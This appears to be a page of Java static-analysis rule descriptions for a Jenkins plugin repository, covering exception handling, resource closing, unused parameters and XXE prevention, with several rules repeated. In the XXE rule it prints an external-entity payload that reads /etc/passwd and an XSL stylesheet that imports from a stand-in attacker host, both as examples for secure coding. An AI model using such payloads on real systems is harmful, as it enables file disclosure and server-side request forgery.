jenkinsci/hpe-application-automation-tools-plugin

InterruptedExceptions should never be ignored in the code, and simply logging the exception counts in this case as "ignoring". The throwing of the InterruptedException clears the interrupted state of the Thread, so if the exception is not handled properly the fact that the thread was interrupted will be lost. Instead, InterruptedExceptions should either be rethrown - immediately or after cleaning up the method's state - or the thread should be re-interrupted by calling Thread.interrupt() even if this is supposed to be a single-threaded application. Any other course of action risks delaying thread shutdown and loses the information that the thread was interrupted - probably without finishing its task.

Similarly, the ThreadDeath exception should also be propagated. According to its JavaDoc:

If ThreadDeath is caught by a method, it is important that it be rethrown so that the thread actually dies.

Noncompliant Code Example

public void run () {
  try {
    while (true) {
      // do stuff
    }
  }catch (InterruptedException e) { // Noncompliant; logging is not enough
    LOGGER.log(Level.WARN, "Interrupted!", e);
  }
}

Compliant Solution

public void run () {
  try {
    while (true) {
      // do stuff
    }
  }catch (InterruptedException e) {
    LOGGER.log(Level.WARN, "Interrupted!", e);
    // Restore interrupted state...
    Thread.currentThread().interrupt();
  }
}

See

• MITRE, CWE-391 - Unchecked Error Condition
• Dealing with InterruptedException

Unused parameters are misleading. Whatever the values passed to such parameters, the behavior will be the same.

Noncompliant Code Example

void doSomething(int a, int b) {     // "b" is unused
  compute(a);
}

Compliant Solution

void doSomething(int a) {
  compute(a);
}

Exceptions

The rule will not raise issues for unused parameters:

• that are annotated with @javax.enterprise.event.Observes
• in overrides and implementation methods
• in interface default methods
• in non-private methods that only throw or that have empty bodies
• in annotated methods, unless the annotation is @SuppressWarning("unchecked") or @SuppressWarning("rawtypes"), in which case the annotation will be ignored
• in overridable methods (non-final, or not member of a final class, non-static, non-private), if the parameter is documented with a proper javadoc.

@Override
void doSomething(int a, int b) {     // no issue reported on b
  compute(a);
}

public void foo(String s) {
  // designed to be extended but noop in standard case
}

protected void bar(String s) {
  //open-closed principle
}

public void qix(String s) {
  throw new UnsupportedOperationException("This method should be implemented in subclasses");
}

/**
 * @param s This string may be use for further computation in overriding classes
 */
protected void foobar(int a, String s) { // no issue, method is overridable and unused parameter has proper javadoc
  compute(a);
}

See

• CERT, MSC12-C. - Detect and remove code that has no effect or is never executed

Connections, streams, files, and other classes that implement the Closeable interface or its super-interface, AutoCloseable, needs to be closed after use. Further, that close call must be made in a finally block otherwise an exception could keep the call from being made. Preferably, when class implements AutoCloseable, resource should be created using "try-with-resources" pattern and will be closed automatically.

Failure to properly close resources will result in a resource leak which could bring first the application and then perhaps the box the application is on to their knees.

Noncompliant Code Example

private void readTheFile() throws IOException {
  Path path = Paths.get(this.fileName);
  BufferedReader reader = Files.newBufferedReader(path, this.charset);
  // ...
  reader.close();  // Noncompliant
  // ...
  Files.lines("input.txt").forEach(System.out::println); // Noncompliant: The stream needs to be closed
}

private void doSomething() {
  OutputStream stream = null;
  try {
    for (String property : propertyList) {
      stream = new FileOutputStream("myfile.txt");  // Noncompliant
      // ...
    }
  } catch (Exception e) {
    // ...
  } finally {
    stream.close();  // Multiple streams were opened. Only the last is closed.
  }
}

Compliant Solution

private void readTheFile(String fileName) throws IOException {
    Path path = Paths.get(fileName);
    try (BufferedReader reader = Files.newBufferedReader(path, StandardCharsets.UTF_8)) {
      reader.readLine();
      // ...
    }
    // ..
    try (Stream<String> input = Files.lines("input.txt"))  {
      input.forEach(System.out::println);
    }
}

private void doSomething() {
  OutputStream stream = null;
  try {
    stream = new FileOutputStream("myfile.txt");
    for (String property : propertyList) {
      // ...
    }
  } catch (Exception e) {
    // ...
  } finally {
    stream.close();
  }
}

Exceptions

Instances of the following classes are ignored by this rule because close has no effect:

• java.io.ByteArrayOutputStream
• java.io.ByteArrayInputStream
• java.io.CharArrayReader
• java.io.CharArrayWriter
• java.io.StringReader
• java.io.StringWriter

Java 7 introduced the try-with-resources statement, which implicitly closes Closeables. All resources opened in a try-with-resources statement are ignored by this rule.

try (BufferedReader br = new BufferedReader(new FileReader(fileName))) {
  //...
}
catch ( ... ) {
  //...
}

See

• MITRE, CWE-459 - Incomplete Cleanup
• MITRE, CWE-772 - Missing Release of Resource after Effective Lifetime
• CERT, FIO04-J. - Release resources when they are no longer needed
• CERT, FIO42-C. - Close files when they are no longer needed
• Try With Resources

Connections, streams, files, and other classes that implement the Closeable interface or its super-interface, AutoCloseable, needs to be closed after use. Further, that close call must be made in a finally block otherwise an exception could keep the call from being made. Preferably, when class implements AutoCloseable, resource should be created using "try-with-resources" pattern and will be closed automatically.

Failure to properly close resources will result in a resource leak which could bring first the application and then perhaps the box the application is on to their knees.

Noncompliant Code Example

private void readTheFile() throws IOException {
  Path path = Paths.get(this.fileName);
  BufferedReader reader = Files.newBufferedReader(path, this.charset);
  // ...
  reader.close();  // Noncompliant
  // ...
  Files.lines("input.txt").forEach(System.out::println); // Noncompliant: The stream needs to be closed
}

private void doSomething() {
  OutputStream stream = null;
  try {
    for (String property : propertyList) {
      stream = new FileOutputStream("myfile.txt");  // Noncompliant
      // ...
    }
  } catch (Exception e) {
    // ...
  } finally {
    stream.close();  // Multiple streams were opened. Only the last is closed.
  }
}

Compliant Solution

private void readTheFile(String fileName) throws IOException {
    Path path = Paths.get(fileName);
    try (BufferedReader reader = Files.newBufferedReader(path, StandardCharsets.UTF_8)) {
      reader.readLine();
      // ...
    }
    // ..
    try (Stream<String> input = Files.lines("input.txt"))  {
      input.forEach(System.out::println);
    }
}

private void doSomething() {
  OutputStream stream = null;
  try {
    stream = new FileOutputStream("myfile.txt");
    for (String property : propertyList) {
      // ...
    }
  } catch (Exception e) {
    // ...
  } finally {
    stream.close();
  }
}

Exceptions

Instances of the following classes are ignored by this rule because close has no effect:

• java.io.ByteArrayOutputStream
• java.io.ByteArrayInputStream
• java.io.CharArrayReader
• java.io.CharArrayWriter
• java.io.StringReader
• java.io.StringWriter

Java 7 introduced the try-with-resources statement, which implicitly closes Closeables. All resources opened in a try-with-resources statement are ignored by this rule.

try (BufferedReader br = new BufferedReader(new FileReader(fileName))) {
  //...
}
catch ( ... ) {
  //...
}

See

• MITRE, CWE-459 - Incomplete Cleanup
• MITRE, CWE-772 - Missing Release of Resource after Effective Lifetime
• CERT, FIO04-J. - Release resources when they are no longer needed
• CERT, FIO42-C. - Close files when they are no longer needed
• Try With Resources

InterruptedExceptions should never be ignored in the code, and simply logging the exception counts in this case as "ignoring". The throwing of the InterruptedException clears the interrupted state of the Thread, so if the exception is not handled properly the fact that the thread was interrupted will be lost. Instead, InterruptedExceptions should either be rethrown - immediately or after cleaning up the method's state - or the thread should be re-interrupted by calling Thread.interrupt() even if this is supposed to be a single-threaded application. Any other course of action risks delaying thread shutdown and loses the information that the thread was interrupted - probably without finishing its task.

Similarly, the ThreadDeath exception should also be propagated. According to its JavaDoc:

If ThreadDeath is caught by a method, it is important that it be rethrown so that the thread actually dies.

Noncompliant Code Example

public void run () {
  try {
    while (true) {
      // do stuff
    }
  }catch (InterruptedException e) { // Noncompliant; logging is not enough
    LOGGER.log(Level.WARN, "Interrupted!", e);
  }
}

Compliant Solution

public void run () {
  try {
    while (true) {
      // do stuff
    }
  }catch (InterruptedException e) {
    LOGGER.log(Level.WARN, "Interrupted!", e);
    // Restore interrupted state...
    Thread.currentThread().interrupt();
  }
}

See

• MITRE, CWE-391 - Unchecked Error Condition
• Dealing with InterruptedException

Java 7 introduced the try-with-resources statement, which guarantees that the resource in question will be closed. Since the new syntax is closer to bullet-proof, it should be preferred over the older try/catch/finally version.

This rule checks that close-able resources are opened in a try-with-resources statement.

Note that this rule is automatically disabled when the project's sonar.java.source is lower than 7.

Noncompliant Code Example

FileReader fr = null;
BufferedReader br = null;
try {
  fr = new FileReader(fileName);
  br = new BufferedReader(fr);
  return br.readLine();
} catch (...) {
} finally {
  if (br != null) {
    try {
      br.close();
    } catch(IOException e){...}
  }
  if (fr != null ) {
    try {
      br.close();
    } catch(IOException e){...}
  }
}

Compliant Solution

try (
    FileReader fr = new FileReader(fileName);
    BufferedReader br = new BufferedReader(fr)
  ) {
  return br.readLine();
}
catch (...) {}

or

try (BufferedReader br =
        new BufferedReader(new FileReader(fileName))) { // no need to name intermediate resources if you don't want to
  return br.readLine();
}
catch (...) {}

See

• CERT, ERR54-J. - Use a try-with-resources statement to safely handle closeable resources

Abstract classes should not have public constructors. Constructors of abstract classes can only be called in constructors of their subclasses. So there is no point in making them public. The protected modifier should be enough.

Noncompliant Code Example

public abstract class AbstractClass1 {
    public AbstractClass1 () { // Noncompliant, has public modifier
        // do something here
    }
}

Compliant Solution

public abstract class AbstractClass2 {
    protected AbstractClass2 () {
        // do something here
    }
}

Abstract classes should not have public constructors. Constructors of abstract classes can only be called in constructors of their subclasses. So there is no point in making them public. The protected modifier should be enough.

Noncompliant Code Example

public abstract class AbstractClass1 {
    public AbstractClass1 () { // Noncompliant, has public modifier
        // do something here
    }
}

Compliant Solution

public abstract class AbstractClass2 {
    protected AbstractClass2 () {
        // do something here
    }
}

Abstract classes should not have public constructors. Constructors of abstract classes can only be called in constructors of their subclasses. So there is no point in making them public. The protected modifier should be enough.

Noncompliant Code Example

public abstract class AbstractClass1 {
    public AbstractClass1 () { // Noncompliant, has public modifier
        // do something here
    }
}

Compliant Solution

public abstract class AbstractClass2 {
    protected AbstractClass2 () {
        // do something here
    }
}

Merging collapsible if statements increases the code's readability.

Noncompliant Code Example

if (file != null) {
  if (file.isFile() || file.isDirectory()) {
    /* ... */
  }
}

Compliant Solution

if (file != null && isFileOrDirectory(file)) {
  /* ... */
}

private static boolean isFileOrDirectory(File file) {
  return file.isFile() || file.isDirectory();
}

Throwable is the superclass of all errors and exceptions in Java. Error is the superclass of all errors, which are not meant to be caught by applications.

Catching either Throwable or Error will also catch OutOfMemoryError and InternalError, from which an application should not attempt to recover.

Noncompliant Code Example

try { /* ... */ } catch (Throwable t) { /* ... */ }
try { /* ... */ } catch (Error e) { /* ... */ }

Compliant Solution

try { /* ... */ } catch (RuntimeException e) { /* ... */ }
try { /* ... */ } catch (MyException e) { /* ... */ }

See

• MITRE, CWE-396 - Declaration of Catch for Generic Exception
• C++ Core Guidelines E.14 - Use purpose-designed user-defined types as exceptions (not built-in types)

Using such generic exceptions as Error, RuntimeException, Throwable, and Exception prevents calling methods from handling true, system-generated exceptions differently than application-generated errors.

Noncompliant Code Example

public void foo(String bar) throws Throwable {  // Noncompliant
  throw new RuntimeException("My Message");     // Noncompliant
}

Compliant Solution

public void foo(String bar) {
  throw new MyOwnRuntimeException("My Message");
}

Exceptions

Generic exceptions in the signatures of overriding methods are ignored, because overriding method has to follow signature of the throw declaration in the superclass. The issue will be raised on superclass declaration of the method (or won't be raised at all if superclass is not part of the analysis).

@Override
public void myMethod() throws Exception {...}

Generic exceptions are also ignored in the signatures of methods that make calls to methods that throw generic exceptions.

public void myOtherMethod throws Exception {
  doTheThing();  // this method throws Exception
}

See

• MITRE, CWE-397 - Declaration of Throws for Generic Exception
• CERT, ERR07-J. - Do not throw RuntimeException, Exception, or Throwable

Connections, streams, files, and other classes that implement the Closeable interface or its super-interface, AutoCloseable, needs to be closed after use. Further, that close call must be made in a finally block otherwise an exception could keep the call from being made. Preferably, when class implements AutoCloseable, resource should be created using "try-with-resources" pattern and will be closed automatically.

Failure to properly close resources will result in a resource leak which could bring first the application and then perhaps the box the application is on to their knees.

Noncompliant Code Example

private void readTheFile() throws IOException {
  Path path = Paths.get(this.fileName);
  BufferedReader reader = Files.newBufferedReader(path, this.charset);
  // ...
  reader.close();  // Noncompliant
  // ...
  Files.lines("input.txt").forEach(System.out::println); // Noncompliant: The stream needs to be closed
}

private void doSomething() {
  OutputStream stream = null;
  try {
    for (String property : propertyList) {
      stream = new FileOutputStream("myfile.txt");  // Noncompliant
      // ...
    }
  } catch (Exception e) {
    // ...
  } finally {
    stream.close();  // Multiple streams were opened. Only the last is closed.
  }
}

Compliant Solution

private void readTheFile(String fileName) throws IOException {
    Path path = Paths.get(fileName);
    try (BufferedReader reader = Files.newBufferedReader(path, StandardCharsets.UTF_8)) {
      reader.readLine();
      // ...
    }
    // ..
    try (Stream<String> input = Files.lines("input.txt"))  {
      input.forEach(System.out::println);
    }
}

private void doSomething() {
  OutputStream stream = null;
  try {
    stream = new FileOutputStream("myfile.txt");
    for (String property : propertyList) {
      // ...
    }
  } catch (Exception e) {
    // ...
  } finally {
    stream.close();
  }
}

Exceptions

Instances of the following classes are ignored by this rule because close has no effect:

• java.io.ByteArrayOutputStream
• java.io.ByteArrayInputStream
• java.io.CharArrayReader
• java.io.CharArrayWriter
• java.io.StringReader
• java.io.StringWriter

Java 7 introduced the try-with-resources statement, which implicitly closes Closeables. All resources opened in a try-with-resources statement are ignored by this rule.

try (BufferedReader br = new BufferedReader(new FileReader(fileName))) {
  //...
}
catch ( ... ) {
  //...
}

See

• MITRE, CWE-459 - Incomplete Cleanup
• MITRE, CWE-772 - Missing Release of Resource after Effective Lifetime
• CERT, FIO04-J. - Release resources when they are no longer needed
• CERT, FIO42-C. - Close files when they are no longer needed
• Try With Resources

Connections, streams, files, and other classes that implement the Closeable interface or its super-interface, AutoCloseable, needs to be closed after use. Further, that close call must be made in a finally block otherwise an exception could keep the call from being made. Preferably, when class implements AutoCloseable, resource should be created using "try-with-resources" pattern and will be closed automatically.

Failure to properly close resources will result in a resource leak which could bring first the application and then perhaps the box the application is on to their knees.

Noncompliant Code Example

private void readTheFile() throws IOException {
  Path path = Paths.get(this.fileName);
  BufferedReader reader = Files.newBufferedReader(path, this.charset);
  // ...
  reader.close();  // Noncompliant
  // ...
  Files.lines("input.txt").forEach(System.out::println); // Noncompliant: The stream needs to be closed
}

private void doSomething() {
  OutputStream stream = null;
  try {
    for (String property : propertyList) {
      stream = new FileOutputStream("myfile.txt");  // Noncompliant
      // ...
    }
  } catch (Exception e) {
    // ...
  } finally {
    stream.close();  // Multiple streams were opened. Only the last is closed.
  }
}

Compliant Solution

private void readTheFile(String fileName) throws IOException {
    Path path = Paths.get(fileName);
    try (BufferedReader reader = Files.newBufferedReader(path, StandardCharsets.UTF_8)) {
      reader.readLine();
      // ...
    }
    // ..
    try (Stream<String> input = Files.lines("input.txt"))  {
      input.forEach(System.out::println);
    }
}

private void doSomething() {
  OutputStream stream = null;
  try {
    stream = new FileOutputStream("myfile.txt");
    for (String property : propertyList) {
      // ...
    }
  } catch (Exception e) {
    // ...
  } finally {
    stream.close();
  }
}

Exceptions

Instances of the following classes are ignored by this rule because close has no effect:

• java.io.ByteArrayOutputStream
• java.io.ByteArrayInputStream
• java.io.CharArrayReader
• java.io.CharArrayWriter
• java.io.StringReader
• java.io.StringWriter

Java 7 introduced the try-with-resources statement, which implicitly closes Closeables. All resources opened in a try-with-resources statement are ignored by this rule.

try (BufferedReader br = new BufferedReader(new FileReader(fileName))) {
  //...
}
catch ( ... ) {
  //...
}

See

• MITRE, CWE-459 - Incomplete Cleanup
• MITRE, CWE-772 - Missing Release of Resource after Effective Lifetime
• CERT, FIO04-J. - Release resources when they are no longer needed
• CERT, FIO42-C. - Close files when they are no longer needed
• Try With Resources

Cognitive Complexity is a measure of how hard the control flow of a method is to understand. Methods with high Cognitive Complexity will be difficult to maintain.

See

• Cognitive Complexity

XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.

Example in this XML document, an external entity read the /etc/passwd file:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

It is recommended to disable access to external entities and network access in general.

To protect Java XML Parsers from XXE attacks these properties have been defined since JAXP 1.5:

• ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
• ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
• ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);

Note that Apache Xerces is still based on JAXP 1.4, therefore one solution is to set to false the external-general-entities feature.

Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:

• it has no effect to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
• or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).

When setting an entity resolver to null (eg: setEntityResolver(null)) the parser will use its own resolution, which is unsafe.

Noncompliant Code Examples

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = df.newDocumentBuilder();  // Noncompliant
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();  // Noncompliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();  // Noncompliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();  // Noncompliant
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);  // Noncompliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator validator = schema.newValidator();   // Noncompliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

Dom4j library:

SAXReader xmlReader = new SAXReader(); // Noncompliant by default
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Noncompliant by default
Document document = builder.build(new File(xml));

Compliant Solution

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant

XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant
// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
// validators will also inherit of these properties
Validator validator = schema.newValidator();

validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");   // Compliant
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");   // Compliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:

SAXReader xmlReader = new SAXReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
Document document = builder.build(new File(xml));

See

• OWASP Top 10 2017 Category A4 - XML External Entities (XXE)
• OWASP XXE Prevention Cheat Sheet
• MITRE, CWE-611 - Information Exposure Through XML External Entity Reference
• MITRE, CWE-827 - Improper Control of Document Type Definition

Unused parameters are misleading. Whatever the values passed to such parameters, the behavior will be the same.

Noncompliant Code Example

void doSomething(int a, int b) {     // "b" is unused
  compute(a);
}

Compliant Solution

void doSomething(int a) {
  compute(a);
}

Exceptions

The rule will not raise issues for unused parameters:

• that are annotated with @javax.enterprise.event.Observes
• in overrides and implementation methods
• in interface default methods
• in non-private methods that only throw or that have empty bodies
• in annotated methods, unless the annotation is @SuppressWarning("unchecked") or @SuppressWarning("rawtypes"), in which case the annotation will be ignored
• in overridable methods (non-final, or not member of a final class, non-static, non-private), if the parameter is documented with a proper javadoc.

@Override
void doSomething(int a, int b) {     // no issue reported on b
  compute(a);
}

public void foo(String s) {
  // designed to be extended but noop in standard case
}

protected void bar(String s) {
  //open-closed principle
}

public void qix(String s) {
  throw new UnsupportedOperationException("This method should be implemented in subclasses");
}

/**
 * @param s This string may be use for further computation in overriding classes
 */
protected void foobar(int a, String s) { // no issue, method is overridable and unused parameter has proper javadoc
  compute(a);
}

See

• CERT, MSC12-C. - Detect and remove code that has no effect or is never executed

Throwable is the superclass of all errors and exceptions in Java. Error is the superclass of all errors, which are not meant to be caught by applications.

Catching either Throwable or Error will also catch OutOfMemoryError and InternalError, from which an application should not attempt to recover.

Noncompliant Code Example

try { /* ... */ } catch (Throwable t) { /* ... */ }
try { /* ... */ } catch (Error e) { /* ... */ }

Compliant Solution

try { /* ... */ } catch (RuntimeException e) { /* ... */ }
try { /* ... */ } catch (MyException e) { /* ... */ }

See

• MITRE, CWE-396 - Declaration of Catch for Generic Exception
• C++ Core Guidelines E.14 - Use purpose-designed user-defined types as exceptions (not built-in types)

Using such generic exceptions as Error, RuntimeException, Throwable, and Exception prevents calling methods from handling true, system-generated exceptions differently than application-generated errors.

Noncompliant Code Example

public void foo(String bar) throws Throwable {  // Noncompliant
  throw new RuntimeException("My Message");     // Noncompliant
}

Compliant Solution

public void foo(String bar) {
  throw new MyOwnRuntimeException("My Message");
}

Exceptions

Generic exceptions in the signatures of overriding methods are ignored, because overriding method has to follow signature of the throw declaration in the superclass. The issue will be raised on superclass declaration of the method (or won't be raised at all if superclass is not part of the analysis).

@Override
public void myMethod() throws Exception {...}

Generic exceptions are also ignored in the signatures of methods that make calls to methods that throw generic exceptions.

public void myOtherMethod throws Exception {
  doTheThing();  // this method throws Exception
}

See

• MITRE, CWE-397 - Declaration of Throws for Generic Exception
• CERT, ERR07-J. - Do not throw RuntimeException, Exception, or Throwable

Nesting try/catch blocks severely impacts the readability of source code because it makes it too difficult to understand which block will catch which exception.